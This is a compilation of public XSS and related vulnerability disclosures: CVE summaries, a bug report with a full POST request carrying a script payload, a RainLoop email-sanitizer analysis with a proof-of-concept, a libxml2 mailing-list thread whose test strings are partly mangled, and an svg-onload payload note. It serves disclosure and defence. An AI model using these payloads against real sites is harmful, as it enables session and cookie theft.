A stored cross-site scripting (XSS) vulnerability in /index.php?r=site%2Fsignup of Feehi CMS v2.1.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the username field.

**Feehi CMS Cross-site Scripting**

Moderate severity GitHub Reviewed Published Jul 29, 2022 • Updated Aug 6, 2022

GHSA-25q6-m425-9fqr: Feehi CMS Cross-site Scripting

Advanced School Management System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the address parameter at ip/school/index.php.

Permalink

**Advanced School Management System v1.0 by itsourcecode.com has Cross-site Scripting (XSS)**

**Vul\_Author**: **Congzhao Wen**

Login account: suarez081119@gmail.com/12345 (Super Admin account)

vendor: https://itsourcecode.com/free-projects/php-project/advanced-school-management-system-in-php-with-source-code/

Vulnerability url: ip/school/view/admin\_profile.php#

Vulnerability location: /school/index.php

\[+\] Payload: <script>alert(document.cookie)</script>

Tested on Windows 10, phpStudy

There is an example with alert:

POST /school/index.php HTTP/1.1
Host: 10.10.10.134:8000
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------168824386524487249392944698838
Content-Length: 1369
Origin: http://10.10.10.134:8000
DNT: 1
Connection: close
Referer: http://10.10.10.134:8000/school/view/admin\_profile.php
Cookie: PHPSESSID=vf7g6ffd2s4el0u0gia3elgg14
Upgrade-Insecure-Requests: 1
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="fileToUpload"; filename=""
Content-Type: application/octet-stream
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="full\_name"
Angel Jude Suarez
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="i\_name"
<script>alert(document.cookie)</script>
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="address"
Philippines
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="gender"
Male
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="email"
suarez081119@gmail.com
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="phone"
111-111-1114
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="password"
12345
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="id"
1
\-----------------------------168824386524487249392944698838
Content-Disposition: form-data; name="do"
update\_admin\_profile
\-----------------------------168824386524487249392944698838--
https://github.com/wencongzhao/bug\_report/blob/main/vendors/itsourcecode.com/advanced-school-management-system/xss.gif

CVE-2022-34580: bug_report/XSS-1.md at main · wencongzhao/bug_report

The Email Viewer in RainLoop through 1.6.0 allows XSS via a crafted email message.

RainLoop is an open-source webmail client used by thousands of organizations to exchange sensitive messages and files via email. In this blog post, we are warning RainLoop users about a code vulnerability that allows attackers to steal emails from the inboxes of victims. At the time of writing, no official patch is available.

The code vulnerability described in this blog post can be easily exploited by an attacker by sending a malicious email to a victim that uses RainLoop as a mail client. When the email is viewed by the victim, the attacker gains full control over the session of the victim and can steal any of their emails, including those that contain highly sensitive information such as passwords, documents, and password reset links. Let's have a look what happened and what we can learn from it.  

**Impact**

The discovered code flaw is a Stored Cross-Site-Scripting vulnerability (CVE-2022-29360) that affects the latest version v1.16.0 of RainLoop. At the time of writing, no official patch is available. The vulnerability can be exploited in any RainLoop installation that runs with default configurations. An attacker who knows the email address of an employee of a targeted organization can send the victim a maliciously crafted email. When it is viewed in the webmail interface, it executes a hidden JavaScript payload in the browser of the victim. No further user interaction is required.

**  
Technical Details**

In the following sections, we go into detail about the Stored Cross-Site-Scripting vulnerability and how gadgets were abused to make JavaScript run automatically once a victim views a malicious email.

**  
Stored XSS in the email body (CVE-2022-29360)**

RainLoop’s backend is a PHP application that acts as a proxy between a user and their mail server. Similar to mail clients, such as Thunderbird, it enables a user to log into a mail server, fetch emails, view them, and send emails. 

**  
Sanitization Logic**

As RainLoop is a web application, it needs to render incoming emails to HTML code. It also needs to ensure that the rendered HTML code has been validated and does not contain malicious components (e.g. unsafe links, JavaScript tags).

On a high level, RainLoop deploys the following flow to achieve this:

1.  Receive the raw, untrusted HTML code from the mail server
2.  Create an instance of the built-in DOMDocument class in PHP. This parses HTML into a tree structure of HTML elements and their attributes
3.  Depending on the configuration, use an allow or deny list to remove any dangerous contents in the tree structure
4.  Convert the sanitized tree structure of the DOMDocument into HTML code

Intuitively it makes sense to analyze the code that attempts to remove any dangerous HTML code (step 3 in the above’s list) and find a weakness inside of that code to bypass the sanitizer. However, our experience has shown there are often logic bugs **after** the sanitization steps have been performed. From the security researcher's point of view, they are much easier to spot and are often overlooked by developers: for good examples of previous findings using this pattern, see Zimbra Stored XSS and WordPress CSRF to RCE.

We mentioned that the 4th step converts the tree structure of the DOMDocument into HTML code. Usually, this step is trivial as the DOMDocument class has the built-in saveHTML() method which does exactly what is required.

**  
Faking a HTML <body>**

One last problem must be solved before the sanitized HTML code can be rendered to the user: due to normalization performed by the DOMDocument class, the HTML code saveHTML() emits contains <html> and <body> tags.  Although this is perfectly valid and harmless, the front end page of RainLoop that renders the email already contains <html> and <body> tags.

Additionally, <body> tags might contain important attributes such as styles and classes that must be preserved. RainLoop solves these problems by parsing the attributes from the <body> tag of the email structure and then wrapping the HTML code of the email in a fake body that contains the original <body> attributes.

In the following paragraphs, we will describe how this process works in RainLoop, show the corresponding code snippets and finally describe a logic flaw in this process that leads to a Stored XSS vulnerability.

In the first step, RainLoop fetches references to the <html> and <body> nodes from the tree structure and then calls saveHTML() on all children to get the sanitized HTML code without <html> and <body> tags:

 **rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php**

     222    $oHtml = $oDom->getElementsByTagName('html')->item(0);
     223    $oBody = $oDom->getElementsByTagName('body')->item(0);
     224 
     225    foreach ($oBody->childNodes as $oChild)
     226    {
     227        $sResult .= $oDom->saveHTML($oChild);
     228    }

In the next step, the attributes of the <html> node are fetched and added to a newly created <div> tag to simulate the <html> tag:

**rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php**

     232    $aHtmlAttrs = HtmlUtils::GetElementAttributesAsArray($oHtml);
     233    $aBodylAttrs = HtmlUtils::GetElementAttributesAsArray($oBody);
     234 
     235    $oWrapHtml = $oDom->createElement('div');
     236    $oWrapHtml->setAttribute('data-x-div-type', 'html');
     237    foreach ($aHtmlAttrs as $sKey => $sValue)
     238    {
     239        $oWrapHtml->setAttribute($sKey, $sValue);
     240    }

This process is repeated for the <body> tag, but with an important difference: The <div> tag that is created to preserve the <body> attributes is created with the text content \_\_\_xxx\_\_\_. This fake <body> is then appended to the fake <html> node and dumped to HTML code:

**rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php**

     242    $oWrapDom = $oDom->createElement('div', '___xxx___');
     243    $oWrapDom->setAttribute('data-x-div-type', 'body');
     244    foreach ($aBodylAttrs as $sKey => $sValue)
     245    {
     246        $oWrapDom->setAttribute($sKey, $sValue);
     247    }
     248 
     249    $oWrapHtml->appendChild($oWrapDom);
     250 
     251    $sWrp = $oDom->saveHTML($oWrapHtml);

Let’s walk through this code with an example. Let’s assume an attacker sent the following email:

    <html>
    <body data-some-attr="abc">
        <h1>Hello!</h1>
        <p>wehope you are doing good!</p>
    </body>
    </html>

The process we described thus far would then yield the following HTML code, stored in the $sWrp variable:

    <div data-x-div-type="html">
        <div data-x-div-type="body" data-some-attr="abc">
            ___xxx___
        </div>
    </div>

In the final step, the rest of the email is inserted in the wrapping code above. This is done by replacing the \_\_\_xxx\_\_\_ inside of the fake wrapping body with the previously generated HTML code:

**rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php**

     252    $sResult = \str_replace('___xxx___', $sResult, $sWrp);

This would finally yield the following HTML code:

    <div data-x-div-type="html">
        <div data-x-div-type="body" data-some-attr="abc">
            <h1>Hello!</h1>
            <p>I hope you are doing good!</p>
        </div>
    </div>

**  
The Logic Bug**

As an attacker can control the attributes of a <body> tag and their values, they could create a <body> tag with an attribute value of \_\_\_xxx\_\_\_.

This could, for example, result in the following HTML markup:

    <div data-x-div-type="html">
        <div data-x-div-type="body" data-some-attr="___xxx___">
            ___xxx___
        </div>
    </div>

As str\_replace() replaces the \_\_\_xxx\_\_\_ string as many times as it can find, an attacker can insert controlled user input into the quoted value of the data-some-attr. Let’s assume an attacker crafted an email as follows:

    <body data-some-attr="___xxx___">
    <div title="x onclick='alert(document.cookie);//' y">
        XSS PoC
    </div>
    </body>

In this case, the HTML markup would result in the following after replacing \_\_\_xxx\_\_\_ with the rest of the HTML code:

    <body data-some-attr="<div title="x onclick='alert(document.cookie);//' y">
    XSS PoC
    </div>">

**  
Patch**

At the time of writing, no official patch is available. We recommend the RainLoop fork SnappyMail. It has great security improvements and is actively maintained. We would like to thank the maintainers of this fork for their quick response and analysis of this issue. They confirmed to us that they are not affected. For this reason, we recommend users of RainLoop migrate to SnappyMail in the long term.

To help in the short term, we encourage users to apply the following inofficial patch that we developed (please carefully use at your own risk):

    --- /tmp/HtmlUtils.php  2022-04-11 09:34:35.000000000 +0200
    +++ rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php    2022-04-11 09:35:12.000000000 +0200
    @@ -239,7 +239,8 @@
                   $oWrapHtml->setAttribute($sKey, $sValue);
               }
    -           $oWrapDom = $oDom->createElement('div', '___xxx___');
    +           $rand_str = base64_encode(random_bytes(32));
    +           $oWrapDom = $oDom->createElement('div', $rand_str);
               $oWrapDom->setAttribute('data-x-div-type', 'body');
               foreach ($aBodylAttrs as $sKey => $sValue)
               {
    @@ -250,7 +251,7 @@
               $sWrp = $oDom->saveHTML($oWrapHtml);
    -           $sResult = \str_replace('___xxx___', $sResult, $sWrp);
    +           $sResult = \str_replace($rand_str, $sResult, $sWrp);
           }
           $sResult = \str_replace(\MailSo\Base\HtmlUtils::$KOS, ':', $sResult);

In order to use this patch:

1.  Create a backup of your RainLoop files!
2.  Upload the patch file contents above to a file called rainloop\_xss.patch and store it in the root directory of your RainLoop installation
3.  Run the following command:

    patch rainloop/v/1.13.0/app/libraries/MailSo/Base/HtmlUtils.php < rainloop_xss.patch

**Please note that your path may vary, depending on the version of RainLoop you use. In the example above, version 1.13.0 is used. Make sure to use the correct version in your path.  
**

**Timeline**

Date

Action

2021-11-30

We request a security contact by contacting support@rainloop.net. No response

2021-12-06

We request a security contact by creating a GitHub issue. No response

2022-01-03

We contact the vendor via email and the GitHub issue and inform them of our 90-day disclosure policy. No response

**Summary**

In this blog post, we analyzed a Persistent Cross-Site-Scripting vulnerability in RainLoop that triggers when a victim views a maliciously crafted email. The vulnerability occurred due to a logic bug **after** the sanitization process, which is often overlooked by security audits. We have found similar bugs in high-profile targets such as Zimbra and WordPress. In general, we recommend developers to not modifying any data after it has been sanitized, as any modification could reverse the sanitization step. Additionally, it is recommended to work with a DOM tree object, rather than operating on HTML text, as this leaves much more room for mistakes.  

**Related Blog Posts**

*   WordPress CSRF to RCE
*   MyBB From Stored XSS to RCE
*   Zimbra Webmail compromise via email
*   SmartStore.net Malicious message leading to eCommerce takeover

CVE-2022-29360: RainLoop Webmail - Emails at Risk due to Code Flaw

Open Source Point of Sale v3.3.7 was discovered to contain an arbitrary file upload vulnerability via the Update Branding Settings page.

**Description**

\# An Issue is discoverd in Open Source Point of Sale v3.3.7.

#We found a vulnerability file upload, when we upload malicious file at Update Branding Settings page.

**Payload Attack**

https://github.com/bypazs/GrimTheRipper

**Proof of Concept**

First, we login to the target application with admin privileges.

Then we click at the Pelanggan icon as show in the picture.

We select “Buat Barang Baru” menu.

At Favicon, click “Seleccionar Imagen” for select a file.

Browse the file where we prepared the payload XSS Then click “Baru” for saving a file.

After uploading the file The file will appear in a new row in the table.

We found the XSS!

**Author**

Grim The Ripper Team by SOSECURE Thailand

CVE-2022-34578: Open Source Point of Sale v3.3.7— File Upload Cross-Site Scripting

Possible cross-site scripting vulnerability in libxml after commit 960f0e2.

*   _From_: Patrick Toomey <patrick toomey github com>
*   _To_: "xml gnome org" <xml gnome org>
*   _Subject_: \[xml\] Incorrect server side include parsing can lead to XSS and other similar issues
*   _Date_: Fri, 12 Jan 2018 17:01:21 +0000

While triaging a reported cross site scripting bug we were analyzing the behavior of our HTML sanitization code and noticed that it was parsing an input in an unexpected way.  The sanitization library itself eventually wraps Nokogiri, which is a relatively thin wrapper around libxml2. We reached out to Kurt Seifriend and Daniel Veillard to let them know about the observed behavior.  There was discussion about whether the observed behavior was was expected or not and eventually it was suggested that we move the discussion to the libxml2 mailing list (the folks on that thread reserved CVE-2016-3709 in case it is decided that this is an issue).  

\->  libxml2 git:(bc5a5d65) ✗ cat test/HTML/ssiquote.html

<html><body><p><a href="">

\->  libxml2 git:(bc5a5d65) ✗ make testHTML

\->  libxml2 git:(bc5a5d65) ✗ ./testHTML test/HTML/ssiquote.html

<html><body><p><a href="">

Notice that the output results in a script tag added to the resulting parsed output.  Here is a small bit of Java/Xerces code to compare:

import java.io.IOException;

import java.io.StringReader;

import java.io.StringWriter;

import javax.xml.parsers.\*;

import javax.xml.transform.OutputKeys;

import javax.xml.transform.Transformer;

import javax.xml.transform.TransformerException;

import javax.xml.transform.TransformerFactory;

import javax.xml.transform.dom.DOMSource;

import javax.xml.transform.stream.StreamResult;

import org.w3c.dom.Document;

import org.w3c.dom.NamedNodeMap;

import org.w3c.dom.Node;

import org.w3c.dom.NodeList;

import org.xml.sax.InputSource;

import org.xml.sax.SAXException;

public class XmlTester {

public static void main(String\[\] args) throws ParserConfigurationException, SAXException, IOException, TransformerException {

String text = "<html><body><p><a href="">

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

DocumentBuilder builder = factory.newDocumentBuilder();

// text contains the XML content

Document doc = builder.parse(new InputSource(new StringReader(text)));

System.out.println(getStringFromDocument(doc));

}

public static String getStringFromDocument(Document doc) throws TransformerException {

DOMSource domSource = new DOMSource(doc);

StringWriter writer = new StringWriter();

StreamResult result = new StreamResult(writer);

TransformerFactory tf = TransformerFactory.newInstance();

Transformer transformer = tf.newTransformer();

transformer.transform(domSource, result);

return writer.toString();

}

}

This Java code, with the same input, results in the following output:

<html>

<body>

<p>

<a href="">

</p>

</body>

</html>

The attribute contents are quoted/escaped such that  they don’t break out of the attribute once it is parsed. This libxml2 behavior doesn’t apply to all attributes. If we change the href to a class attribute there is no issue. This likely makes sense since the above mentioned commit specifically references not URI escaping. 

\->  libxml2 git:(bc5a5d65) ✗ cat test/HTML/ssiquote.html

<html><body><p><a class='&lt;!--"&gt;&lt;script&gt;alert(1)&lt;/script&gt;-->'>test1</a></p></body></html>

\->  libxml2 git:(bc5a5d65) ✗ make testHTML

\->  libxml2 git:(bc5a5d65) ✗ ./testHTML test/HTML/ssiquote.html

<html><body><p><a class=''>test1</a></p></body></html>

So, I guess the question is, what do people think? I believe the argument from Daniel was roughly that this would be expected behavior for server side includes. However, this functionality seems to be in conflict with the Xerces behavior and it also leads to a trivial way to cause new/unexpected nodes to be introduced into the tree simply by parsing the document. 

*   **Follow-Ups**:
    *   **Re: \[xml\] Incorrect server side include parsing can lead to XSS and other similar issues**
        *   _From:_ Patrick Toomey

\[Date Prev\]\[Date Next\]   \[Thread Prev\]\[Thread Next\]   \[Thread Index\] \[Date Index\] \[Author Index\]

CVE-2016-3709: [xml] Incorrect server side include parsing can lead to XSS and other si

In zulip before 1.3.12, bot API keys were accessible to other users in the same realm.

CVE-2016-4426: Version History — Zulip 2.1.7 documentation

In kippo-graph before version 1.5.1, there is a cross-site scripting vulnerability in xss_clean() in class/KippoInput.class.php.

@@ -444,7 +444,7 @@ public function printWgetCommands() echo '<td>' . $counter . '</td>'; echo '<td>' . $row\['timestamp'\] . '</td>'; echo '<td>' . xss\_clean($row\['input'\]) . '</td>'; $file\_link = explode(" ", trim($row\['file'\]))\[0\]; $file\_link = explode(" ", trim(xss\_clean($row\['file'\])))\[0\]; // If the link has no "http://" in front, then add it if (substr(strtolower($file\_link), 0, 4) !== 'http') { $file\_link = 'http://' . $file\_link;

CVE-2016-2138: Block XSS in wget commands (file links) · ikoniaris/kippo-graph@e6587ec

Authenticated (author or higher user role) Stored Cross-Site Scripting (XSS) vulnerability in GS Plugins GS Testimonial Slider plugin <= 1.9.1 at WordPress.

 Verified

 Not fixed

**4.8**

CVSS 3.1 score Medium severity

Monitoring Coming soon

Software

GS Testimonial Slider

Vulnerable versions

<= 1.9.1

PSID 

4b2c77540de2

Classification 

Cross Site Scripting (XSS)

OWASP Top 10 

A7: Cross-Site Scripting (XSS)

Required privilege 

Requires author or higher role user authentication.

Publicly disclosed

2022-07-27

**Details**

Authenticated Stored Cross-Site Scripting (XSS) vulnerability discovered by Tien Nguyen Anh (Patchstack Alliance) in WordPress GS Testimonial Slider plugin (versions <= 1.9.1).

**Solution**

No patched version is available.

**References**

CVE-2022-35882: WordPress GS Testimonial Slider plugin <= 1.9.1 - Authenticated Stored Cross-Site Scripting (XSS) vulnerability - Patchstack

An issue has been discovered in GitLab affecting all versions starting from 15.0 before 15.0.1. Missing validation of input used in quick actions allowed an attacker to exploit XSS by injecting HTML in contact details.

CVE-2022-1948

Loan Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Loan Management System - Stored XSS on several parameters# Date: 28/07/2022# Exploit Author: saitamang# Vendor Homepage: sourcecodester# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/LMS.zip# Version: 1.0# Tested on: Centos 7 apache2 + MySQLThere are several functions and parameter affected as below:addUser.php- firstname- lastnamesave_ltype.php- ltype_name- ltype_descsave_borrower.php- firstname- middlename- lastname- addressThe payload use to inject is "/><svg/onload=alert(document.cookie)>

Tag

#xss